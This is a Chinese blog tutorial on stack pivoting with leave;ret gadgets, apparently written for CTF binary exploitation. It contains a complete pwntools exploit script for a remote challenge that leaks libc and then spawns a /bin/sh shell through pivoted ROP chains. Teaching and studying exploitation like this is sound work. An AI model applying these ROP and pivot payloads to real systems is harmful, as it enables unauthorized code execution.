s0m1ng

二进制学习中

栈溢出进阶技巧

目录:

进阶技巧里包括

  • [x] 栈迁移 (Stack Pivoting)

  • [ ] Ret2csu (通用 Gadget 利用)

  • [ ] SROP (Sigreturn Oriented Programming)

  • [ ] BROP (Blind ROP)

栈迁移

适用条件:

在打 Pwn 的过程中,我们经常会遇到一种情况:溢出空间太小了

比如,程序只允许你溢出 8 到 16 个字节。这点空间刚够覆盖 rbp/ebp返回地址,根本写不下一条完整的 ROP 链(比如泄露 Libc + 调用 system)。

原理:

要实现栈迁移,我们必须利用程序结束时必定会执行的汇编指令组合:leave; ret

在底层,这两条指令等价于以下三个原子操作(以 32 位为例):

  • leave 等价于:

    1. mov esp, ebp (将 ebp 的值赋给 esp)

    2. pop ebp (将当前栈顶的内容弹给 ebp,esp 随之 +4)

  • ret 等价于:pop eip (将当前栈顶的内容弹给 eip,程序跳转)

leave_ret1

第一次 leave; ret:修改 ebp 和 eip

假设我们在 main 函数里,利用微小的溢出,把栈上的 ebp 覆盖成了目标迁移地址(Target_Addr),把 返回地址 覆盖成了程序代码段里某处 leave; ret 指令的地址 (Gadget)

  1. mov esp, ebp:正常执行,esp 回到当前函数的 ebp 位置。

  2. pop ebp异常出现: 此时弹给 ebp 的不再是原来的旧 ebp,而是我们伪造的 Target_Addr

  3. ret (pop eip)控制流被劫持: eip 没有回到上一层函数,而是跳到了我们布置的 leave; ret Gadget 去执行。

leave_ret2

第二次 leave; ret:完成迁移

此时 CPU 到了 Gadget 处,开始执行第二次 leave; ret

  1. mov esp, ebp:前面说到 ebp 里现在装着的是 Target_Addr。这条指令直接把 esp 也扯到了 Target_Addr。至此,栈被成功搬家

  2. pop ebp:把新栈(Target_Addr)最顶端的数据弹给 ebp(通常可以填些无意义的 padding,如 aaaa)。

  3. ret (pop eip):将新栈上的第二个数据弹给 eip。此时 eip 里装入的就是我们提前布置好的 ROP 链起点(比如 system 的地址)

实战经验谈:迁移去哪里?

  • 当栈不可执行且没有开启 PIE:通常迁移到 .bss 段。我们在第一阶段向 .bss 段写入巨长的 ROP 链,第二阶段把栈迁移过去执行。

  • 当已知某处栈地址:也可以把栈往回迁(重新迁回 main 栈或其他已知 Buffer),榨干所有的输入空间。

例题

下面是一道经典的 64 位栈迁移例题。题目特点:溢出空间极小,但自带 puts 泄露了输入缓冲区的地址 buf_adr

我们利用这极其有限的空间,将栈迁移回 buf_adr 所在的已知位置,分两步走:

  1. 第一步:构造 Payload,泄露 Libc 基址,然后返回到 main 函数重置状态。

  2. 第二步:再次利用迁移,调用 system("/bin/sh")

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import * p = remote('gz.imxbt.cn', 20630)
libc = ELF("./libc.so.6")

# 1. 接收程序主动泄露的 buf_adr
p.recvuntil(b'mick0960.\n')
buf_adr = int(p.recv(14), 16)

# 各种 Gadget 与函数地址
adr_leave = 0x4012F2 # 核心:leave; ret 指令的地址
adr_sercet = 0x4011DD # 题目中的某个输出/泄露函数
adr_main = 0x40124a # 注意:回到 main 函数时要注意跳过 push rbp,否则会破坏我们好不容易布置的栈环境!

# ================= 第一轮 Payload (泄露 libc) =================
# 栈迁移的 Payload 构造法则:[预先布置的 ROP 链] + [Padding 填满] + [伪造的 RBP] + [leave_ret_gadget]

payload = p64(0) + p64(adr_sercet) + p64(0) + p64(adr_main) # 这是迁移后将要执行的 ROP 链
payload += p64(0) * 2 # Padding 填充,凑够溢出偏移
payload += p64(buf_adr) + p64(adr_leave) # [劫持 RBP 指向 buf] + [劫持 RET 执行第二次 leave;ret]

p.send(payload)

# 接收泄露的地址并计算基址
p.recvuntil(b'0x')
adr_put = int(p.recv(12), 16)
libc_base = adr_put - libc.symbols['puts']

# ================= 第二轮 Payload (GetShell) =================
# 程序跳回了 main,我们再次接收新的 buf_adr
p.recvuntil(b'mick0960.\n')
buf_adr = int(p.recv(14), 16)

# 计算 system 和 /bin/sh 的真实地址
adr_sys = libc_base + libc.symbols['system']
adr_bin = libc_base + next(libc.search(b"/bin/sh"))

# 找一个 pop rdi; ret 给 system 传参
pop_rdi = libc_base + 0x2a3e5
ret = 0x000000000040101a # 栈对齐(我们在 64 位下调用 system 的优良习惯)

# 再次构造栈迁移 Payload 拿 Shell
payload = p64(0) + p64(ret) + p64(pop_rdi) + p64(adr_bin) + p64(adr_sys) # 迁移后的 ROP 链
payload += p64(0) # Padding
payload += p64(buf_adr) + p64(adr_leave) # 再次劫持 RBP 和 RET,进行栈迁移

p.send(payload)
p.interactive()

需要注意:

  1. 栈对齐问题:在 64 位 Ubuntu 系统中,如果打不通,就在调用 system 前试试加上一个单 ret 指令,保证 16 字节栈平衡,否则 movaps 指令会直接让你 Segmentation Fault 崩溃

  2. 跳回 Main 的位置:如果在 ROP 链里跳回 main 函数,尽量跳过 main 汇编开头的那句 push rbp(比如直接跳到 rsp - 0x30 分配空间的那句),以免新的一轮执行把我们辛辛苦苦迁移的栈结构又给破坏了。

您的支持将鼓励我继续创作!

欢迎关注我的其它发布渠道